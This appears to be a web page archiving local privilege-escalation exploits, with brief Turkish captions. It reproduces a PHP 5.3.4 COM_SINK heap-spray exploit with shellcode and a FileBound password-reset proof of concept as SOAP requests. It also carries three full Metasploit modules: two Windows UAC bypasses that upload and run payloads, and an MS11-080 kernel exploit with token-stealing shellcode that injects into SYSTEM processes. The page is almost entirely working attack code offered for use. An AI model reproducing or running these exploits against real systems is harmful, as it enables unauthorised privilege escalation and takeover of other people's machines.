Archive for Local Exploits

PHP 5.3.4 Win Com Module Com_sink Exploit

PHP 5.3.4 Win Com Module Com_sink de bulunan açık ve açığa ait local exploit

# Exploit Title: PHP 5.3.4 Win Com Module Com_sink Local Exploit
# Google Dork: Nil
# Date: 9/10/2012
# Author: FB1H2S
# Software Link: PHP Windows
# Version: [5.3.4]
# Tested on: Microsoft XP Pro 2002 SP2
 
<?php
 //PHP 5.3.4 
 
 //
//$eip ="\x44\x43\x42\x41";
$eip= "\x4b\xe8\x57\x78";
$eax ="\x80\x01\x8d\x04";
$deodrant="";
$axespray = str_repeat($eip.$eax,0x80);

//048d0190
echo strlen($axespray);
echo  "PHP 5.3.4 WIN Com Module COM_SINK 0-day\n" ;
echo  "By Rahul Sasi : http://twitter.com/fb1h2s\n" ;
echo  "Exploit Tested on:\n Microsoft XP Pro 2002 SP2 \n" ;
echo  "More Details Here:\n http://www.garage4hackers.com/blogs/8/web-app-remote-code-execution-via-scripting-engines-part-1-local-exploits-php-0-day-394/\n" ;


//19200 ==4B32 4b00
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++)
{
    $deodrant.=$axespray;
}


$terminate = "T";

$u[] =$deodrant;

$r[] =$deodrant.$terminate;
$a[] =$deodrant.$terminate;
$s[] =$deodrant.$terminate;

 
//$vVar = new VARIANT(0x048d0038+$offset); // This is what we controll
$vVar = new VARIANT(0x048d0000+180); 
//alert box Shellcode 
$buffer = "\x90\x90\x90".
          "\xB9\x38\xDD\x82\x7C\x33\xC0\xBB".
            "\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";

$var2 = new VARIANT(0x41414242);

com_event_sink($vVar,$var2,$buffer);



 
?>

FileBound 6.2 Privilege Escalation Vulnerability

FileBound 6.2 Privilege Escalation Açığı
Local windows açığı olup açık hakkındaki açıklama:

Sense of Security - Security Advisory - SOS-12-010

Release Date.              10-Oct-2012
Last Update.               -              
Vendor Notification Date.  14-Aug-2012
Product.                   FileBound On-Site
Platform.                  Windows
Affected versions.         All versions prior to 6.2
Severity Rating.           High
Impact.                    Privilege escalation
Attack Vector.             From remote with authentication
Solution Status.           Vendor patch
CVE reference.             CVE - not yet assigned

Details.
The FileBound On-Site document management application is 
vulnerable to a privilege escalation attack by sending a 
modified password request to the FileBound web service.
By modifying the UserID value you can reset the password 
of any local user in the application without requiring 
administrative privileges.

Proof of Concept.
Authenticate to FileBound via the following web service 
method and SOAP request:

http://www.company.com/Filebound.asmx?op=Login
   <soapenv:Body>
      <fil:Login>
         <fil:UserName>sosuser</fil:UserName>
         <fil:Password>daisyp0p</fil:Password>
      </fil:Login>
   </soapenv:Body>

After authentication a request can be sent to the following 
administrator's password reset web service method and 
SOAP request:

http://www.company.com/Filebound.asmx?op=SetPassword2
   <soapenv:Body>
      <fil:SetPassword2>
         <fil:UserID>32</fil:UserID>
         <fil:Password>lightsouthern</fil:Password>
         <fil:ResetPasswordExpires>0</fil:ResetPasswordExpires>
      </fil:SetPassword2>
   </soapenv:Body>

By modifying the UserID value the password can be reset for
any existing user in the system. A response code of -1 
confirms the password reset was successful.

Solution.
Install the latest vendor patch.

Discovered by.
Nathaniel Carew from Sense of Security Labs.

About us.
Sense of Security is a leading provider of information security and
risk management solutions. Our team has expert skills in assessment 
and assurance, strategy and architecture, and deployment through to
ongoing management. We are Australia's premier application penetration
testing firm and trusted IT security advisor to many of the country's
largest organisations.


Sense of Security Pty Ltd 
Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au/consulting/penetration-testing
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:
http://www.senseofsecurity.com.au/advisories/SOS-12-010.pdf

Other Sense of Security advisories can be found at:
http://www.senseofsecurity.com.au/research/it-security-advisories.php

Windows Escalate UAC Execute RunAs

Windows Escalate UAC Execute RunAs Açığı
metasploit Local exploit

Code:

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Local
	Rank = ExcellentRanking

	include Post::Common
	include Exploit::EXE
	include Post::File

	def initialize(info={})
		super( update_info( info,
			'Name'          => 'Windows Escalate UAC Execute RunAs',
			'Description'   => %q{
				This module will attempt to elevate execution level using
				the ShellExecute undocumented RunAs flag to bypass low
				UAC settings.
			},
			'License'       => MSF_LICENSE,
			'Author'        => [
					'mubix <mubix[at]hak5.org>' # Port to local exploit
				],
			'Version'       => '$Revision$',
			'Platform'      => [ 'windows' ],
			'SessionTypes'  => [ 'meterpreter' ],
			'Targets'       => [ [ 'Windows', {} ] ],
			'DefaultTarget' => 0,
			'References'    => [
				[ 'URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ]
			],
			'DisclosureDate'=> "Jan 3, 2012"
		))

		register_options([
			OptString.new("FILENAME", [ false, "File name on disk"]),
			OptString.new("PATH", [ false, "Location on disk %TEMP% used if not set" ]),
			OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ])
		])

	end

	def exploit

		root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")
		open_key = session.sys.registry.open_key(root_key, base_key)
		lua_setting = open_key.query_value('EnableLUA')

		if lua_setting.data == 1
			print_status "UAC is Enabled, checking level..."
		else
			print_good "UAC is not enabled, no prompt for the user"
		end

		uac_level = open_key.query_value('ConsentPromptBehaviorAdmin')

		case uac_level.data
		when 2
			print_status "UAC is set to 'Always Notify'"
			print_status "The user will be prompted, wait for them to click 'Ok'"
		when 5
			print_debug "UAC is set to Default"
			print_debug "The user will be prompted, wait for them to click 'Ok'"
		when 0
			print_good "UAC is not enabled, no prompt for the user"
		end


		#
		# Generate payload and random names for upload
		#
		payload = generate_payload_exe

		if datastore["FILENAME"]
			payload_filename = datastore["FILENAME"]
		else
			payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
		end

		if datastore["PATH"]
			payload_path = datastore["PATH"]
		else
			payload_path = session.fs.file.expand_path("%TEMP%")
		end

		cmd_location = "#{payload_path}\\#{payload_filename}"

		if datastore["UPLOAD"]
			print_status("Uploading #{payload_filename} - #{payload.length} bytes to the filesystem...")
			fd = session.fs.file.new(cmd_location, "wb")
			fd.write(payload)
			fd.close
		end

		session.railgun.shell32.ShellExecuteA(nil,"runas",cmd_location,nil,nil,5)

	end
end

MS11-080 AfdJoinLeaf Privilege Escalation

MS11-080 AfdJoinLeaf Privilege Escalation Local Exploit
Açık Metasploit tarafından bulunmuş olup açığa ilişkin exploit

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'

class Metasploit3 < Msf::Exploit::Local
	Rank = AverageRanking
	# Average because this module relies on memory corruption within the
	# kernel, this is inherently dangerous.  Also if the payload casues
	# the system process that it was injected into to die then it's also
	# possible that the system may become unstable.

	include Msf::Post::Common
	include Msf::Post::Windows::Priv

	def initialize(info={})
		super(update_info(info, {
			'Name'          => 'MS11-080 AfdJoinLeaf Privilege Escalation',
			'Description'    => %q{
				This module exploits a flaw in the AfdJoinLeaf function of the
				afd.sys driver to overwrite data in kernel space.  An address
				within the HalDispatchTable is overwritten and when triggered
				with a call to NtQueryIntervalProfile will execute shellcode.

				This module will elevate itself to SYSTEM, then inject the payload
				into another SYSTEM process before restoring it's own token to
				avoid causing system instability.
			},
			'License'       => MSF_LICENSE,
			'Author'        =>
				[
					'Matteo Memelli', # original exploit and all the hard work
					'Spencer McIntyre' # MSF module
				],
			'Arch'          => [ ARCH_X86 ],
			'Platform'      => [ 'windows' ],
			'SessionTypes'  => [ 'meterpreter' ],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Targets'       =>
				[
					[ 'Automatic', { } ],

					[ 'Windows XP SP2 / SP3',
						{
							'HaliQuerySystemInfo' => 0x16bba,
							'HalpSetSystemInformation' => 0x19436,
							'_KPROCESS' => "\x44",
							'_TOKEN' => "\xc8",
							'_UPID' => "\x84",
							'_APLINKS' => "\x88"
						}
					],

					[ 'Windows Server 2003 SP2',
						{
							'HaliQuerySystemInfo' => 0x1fa1e,
							'HalpSetSystemInformation' => 0x21c60,
							'_KPROCESS' => "\x38",
							'_TOKEN' => "\xd8",
							'_UPID' => "\x94",
							'_APLINKS' => "\x98"
						}
					],
				],
			'References'    =>
				[
					[ 'CVE', '2011-2005' ],
					[ 'MSB', 'MS11-080' ],
					[ 'EDB', 18176 ],
					[ 'URL', 'http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/' ]
				],
			'DisclosureDate'=> 'Nov 30 2011',
			'DefaultTarget' => 0
		}))

		register_options([
		])

	end

	def find_sys_base(drvname)
		session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
		session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]])
		session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]])
		results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
		addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")

		addresses.each do |address|
			results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
			current_drvname = results['lpBaseName'][0..results['return'] - 1]
			if drvname == nil
				if current_drvname.downcase.include?('krnl')
					return [address, current_drvname]
				end
			elsif drvname == results['lpBaseName'][0..results['return'] - 1]
				return [address, current_drvname]
			end
		end
	end

	# Function borrowed from smart_hashdump
	def get_system_proc
		# Make sure you got the correct SYSTEM Account Name no matter the OS Language
		local_sys = resolve_sid("S-1-5-18")
		system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"

		# Processes that can Blue Screen a host if migrated in to
		dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]
		session.sys.process.processes.each do |p|
			# Check we are not migrating to a process that can BSOD the host
			next if dangerous_processes.include?(p["name"])
			next if p["pid"] == session.sys.process.getpid
			next if p["pid"] == 4
			next if p["user"] != system_account_name
			return p
		end
	end

	def exploit
		if sysinfo["Architecture"] =~ /wow64/i
			print_error("Running against WOW64 is not supported")
			return
		elsif sysinfo["Architectore"] =~ /x64/
			print_error("Running against 64-bit systems is not supported")
			return
		end

		mytarget = target
		if mytarget.name =~ /Automatic/
			os = sysinfo["OS"]
			if os =~ /windows xp/i
				mytarget = targets[1]
			end
			if ((os =~ /2003/) and (os =~ /service pack 2/i))
				mytarget = targets[2]
			end
			if ((os =~ /\.net server/i) and (os =~ /service pack 2/i))
				mytarget = targets[2]
			end

			if mytarget.name =~ /Automatic/
				print_error("Could not identify the target system, it may not be supported")
				return
			end
			print_status("Running against #{mytarget.name}")
		end

		if is_system?
			print_error("This meterpreter session is already running as SYSTEM")
			return
		end

		this_proc = session.sys.process.open
		kernel_info = find_sys_base(nil)
		base_addr = 0x1001
		print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")

		result = session.railgun.ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", "IPPROTO_TCP", nil, nil, 0)
		socket = result['return']

		irpstuff =  rand_text_alpha(8)
		irpstuff << "\x00\x00\x00\x00"
		irpstuff << rand_text_alpha(4)
		irpstuff << "\x01\x00\x00\x00"
		irpstuff << "\xe8\x00" + "4" + "\xf0\x00"
		irpstuff << rand_text_alpha(231)

		if not this_proc.memory.writable?(0x1000)
			session.railgun.add_function(
				'ntdll',
				'NtAllocateVirtualMemory',
				'DWORD',
				[
					["DWORD", "ProcessHandle", "in"],
					["PBLOB", "BaseAddress", "inout"],
					["PDWORD", "ZeroBits", "in"],
					["PBLOB", "RegionSize", "inout"],
					["DWORD", "AllocationType", "in"],
					["DWORD", "Protect", "in"]
				])

			result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ base_addr ].pack("L"), nil, [ 0x1000 ].pack("L"), "MEM_COMMIT | MEM_RESERVE", "PAGE_EXECUTE_READWRITE")
		end
		if not this_proc.memory.writable?(0x1000)
			print_error('Failed to properly allocate memory')
			return
		end
		this_proc.memory.write(0x1000, irpstuff)

		hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
		hKernel = hKernel['return']
		halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable")
		halDispatchTable = halDispatchTable['return']
		halDispatchTable -= hKernel
		halDispatchTable += kernel_info[0]
		print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")

		halbase = find_sys_base("hal.dll")[0]
		haliQuerySystemInformation = halbase + mytarget['HaliQuerySystemInfo']
		halpSetSystemInformation = halbase + mytarget['HalpSetSystemInformation']
		print_status("HaliQuerySystemInformation Address: 0x#{haliQuerySystemInformation.to_s(16)}")
		print_status("HalpSetSystemInformation Address: 0x#{halpSetSystemInformation.to_s(16)}")

		#### Exploitation ####
		shellcode_address_dep   = 0x0002071e
		shellcode_address_nodep = 0x000207b8
		padding             = make_nops(2)
		halDispatchTable0x4 = halDispatchTable + 0x4
		halDispatchTable0x8 = halDispatchTable + 0x8

		restore_ptrs =  "\x31\xc0"
		restore_ptrs << "\xb8" + [ halpSetSystemInformation ].pack("L")
		restore_ptrs << "\xa3" + [ halDispatchTable0x8 ].pack("L")
		restore_ptrs << "\xb8" + [ haliQuerySystemInformation ].pack("L")
		restore_ptrs << "\xa3" + [ halDispatchTable0x4 ].pack("L")

		tokenstealing =  "\x52"
		tokenstealing << "\x53"
		tokenstealing << "\x33\xc0"
		tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"
		tokenstealing << "\x8b\x40" + mytarget['_KPROCESS']
		tokenstealing << "\x8b\xc8"
		tokenstealing << "\x8b\x98" + mytarget['_TOKEN'] + "\x00\x00\x00"
		tokenstealing << "\x89\x1d\x00\x09\x02\x00"
		tokenstealing << "\x8b\x80" + mytarget['_APLINKS'] + "\x00\x00\x00"
		tokenstealing << "\x81\xe8" + mytarget['_APLINKS'] + "\x00\x00\x00"
		tokenstealing << "\x81\xb8" + mytarget['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00"
		tokenstealing << "\x75\xe8"
		tokenstealing << "\x8b\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
		tokenstealing << "\x8b\xc1"
		tokenstealing << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
		tokenstealing << "\x5b"
		tokenstealing << "\x5a"
		tokenstealing << "\xc2\x10"

		restore_token =  "\x52"
		restore_token << "\x33\xc0"
		restore_token << "\x64\x8b\x80\x24\x01\x00\x00"
		restore_token << "\x8b\x40" + mytarget['_KPROCESS']
		restore_token << "\x8b\x15\x00\x09\x02\x00"
		restore_token << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
		restore_token << "\x5a"
		restore_token << "\xc2\x10"

		shellcode = padding + restore_ptrs + tokenstealing

		this_proc.memory.write(shellcode_address_dep, shellcode)
		this_proc.memory.write(shellcode_address_nodep, shellcode)
		this_proc.memory.protect(0x00020000)

		addr = [ 2, 4455, 0x7f000001, 0, 0 ].pack("s!S!L!L!L!")
		result = session.railgun.ws2_32.connect(socket, addr, addr.length)
		if result['return'] != 0xffffffff
			print_error("The socket is not in the correct state")
			return
		end

		session.railgun.add_function(
			'ntdll',
			'NtDeviceIoControlFile',
			'DWORD',
			[
				[ "DWORD", "FileHandle", "in" ],
				[ "DWORD", "Event", "in" ],
				[ "DWORD", "ApcRoutine", "in" ],
				[ "DWORD", "ApcContext", "in" ],
				[ "PDWORD", "IoStatusBlock", "out" ],
				[ "DWORD", "IoControlCode", "in" ],
				[ "LPVOID", "InputBuffer", "in" ],
				[ "DWORD", "InputBufferLength", "in" ],
				[ "LPVOID", "OutputBuffer", "in" ],
				[ "DWORD", "OutPutBufferLength", "in" ]
			])

		session.railgun.add_function(
			'ntdll',
			'NtQueryIntervalProfile',
			'DWORD',
			[
				[ "DWORD", "ProfileSource", "in" ], [ "PDWORD", "Interval", "out" ]
			])

		print_status("Triggering AFDJoinLeaf pointer overwrite...")
		result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
		result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)

		if not is_system?
			print_error("Exploit failed")
			return
		end

		begin
			proc = get_system_proc
			print_status("Injecting the payload into SYSTEM process: #{proc["name"]} PID: #{proc["pid"]}")
			host_process = client.sys.process.open(proc["pid"], PROCESS_ALL_ACCESS)
			mem = host_process.memory.allocate(payload.encoded.length + (payload.encoded.length % 1024))

			print_status("Writing #{payload.encoded.length} bytes at address #{"0x%.8x" % mem}")
			host_process.memory.write(mem, payload.encoded)
			host_process.thread.create(mem, 0)
		rescue ::Exception => e
			print_error("Failed to Inject Payload")
			print_error(e.to_s)
		end

		# Restore the token because apparently BSODs are frowned upon
		print_status("Restoring the original token...")
		shellcode = padding + restore_ptrs + restore_token
		this_proc.memory.write(shellcode_address_dep, shellcode)
		this_proc.memory.write(shellcode_address_nodep, shellcode)

		result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
		result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
	end

end

Windows Escalate UAC Protection Bypass

Windows Escalate UAC Protection Bypass Local exploit
Açık Metasploit tarafından bulunmuş olup açığa ilişkin exploit şu şekilde.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Local
	Rank = ExcellentRanking

	include Post::Common
	include Exploit::EXE
	include Post::File

	def initialize(info={})
		super( update_info( info,
			'Name'          => 'Windows Escalate UAC Protection Bypass',
			'Description'   => %q{
				This module will bypass Windows UAC by utilizing the trusted publisher
				certificate through process injection. It will spawn a second shell that
				has the UAC flag turned off.
			},
			'License'       => MSF_LICENSE,
			'Author'        => [
					'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
					'mitnick',
					'mubix <mubix[at]hak5.org>' # Port to local exploit
				],
			'Version'       => '$Revision$',
			'Platform'      => [ 'windows' ],
			'SessionTypes'  => [ 'meterpreter' ],
			'Targets'       => [ [ 'Windows', {} ] ],
			'DefaultTarget' => 0,
			'References'    => [
				[ 'URL', ' http://www.trustedsec.com/december-2010/bypass-windows-uac/' ]
			],
			'DisclosureDate'=> "Dec 31, 2010"
		))

	end

	def exploit


		#
		# Verify use against Vista+
		#
		vuln = false
		winver = sysinfo["OS"]
		affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ]
		affected.each { |v|
			if winver.include? v
				vuln = true
			end
		}
		if not vuln
			print_error("#{winver} does not have UAC")
			return
		end

		root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")
		open_key = session.sys.registry.open_key(root_key, base_key)
		lua_setting = open_key.query_value('EnableLUA')

		if lua_setting.data == 1
			print_status "UAC is Enabled, checking level..."
		else
			print_error "UAC is not enabled, no reason to run module, exiting..."
			print_error "Run exploit/windows/local/ask to elevate"
			return
		end

		uac_level = open_key.query_value('ConsentPromptBehaviorAdmin')

		case uac_level.data
		when 2
			print_error "UAC is set to 'Always Notify'"
			print_error "This module does not bypass this setting, exiting..."
			return
		when 5
			print_good "UAC is set to Default"
			print_good "BypassUAC can bypass this setting, continuing..."
		when 0
			print_error "UAC is not enabled, no reason to run module"
			print_error "Run exploit/windows/local/ask to elevate"
			return
		end

		#
		# Generate payload and random names for upload
		#
		payload = generate_payload_exe

		# randomize the bypass_uac_filename
		bypass_uac_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"

		# randomize the payload exe name
		payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"

		# path to the bypassuac binary
		path = ::File.join(Msf::Config.install_root, "data", "post")

		# decide, x86 or x64
		bpexe = nil
		if sysinfo["Architecture"] =~ /wow64/i
			bpexe = ::File.join(path, "bypassuac-x64.exe")
		else
			bpexe = ::File.join(path, "bypassuac-x86.exe")
		end

		tmpdir = session.fs.file.expand_path("%TEMP%")
		cmd = "#{tmpdir}\\#{bypass_uac_filename} /c %TEMP%\\#{payload_filename}"

		print_status("Uploading the bypass UAC executable to the filesystem...")

		begin
			#
			# Upload UAC bypass to the filesystem
			#
			session.fs.file.upload_file("%TEMP%\\#{bypass_uac_filename}", bpexe)
			print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..")
			#
			# Upload the payload to the filesystem
			#
			tempexe = tmpdir + "\\" + payload_filename
			fd = client.fs.file.new(tempexe, "wb")
			fd.write(payload)
			fd.close
		rescue ::Exception => e
			print_error("Error uploading file #{bypass_uac_filename}: #{e.class} #{e}")
			return
		end

		print_status("Uploaded the agent to the filesystem....")

		# execute the payload
		session.sys.process.execute(cmd, nil, {'Hidden' => true})

		# delete the uac bypass payload
		delete_file = "cmd.exe /c del #{tmpdir}\\#{bypass_uac_filename}"

		session.sys.process.execute(delete_file, nil, {'Hidden' => true})
	end
end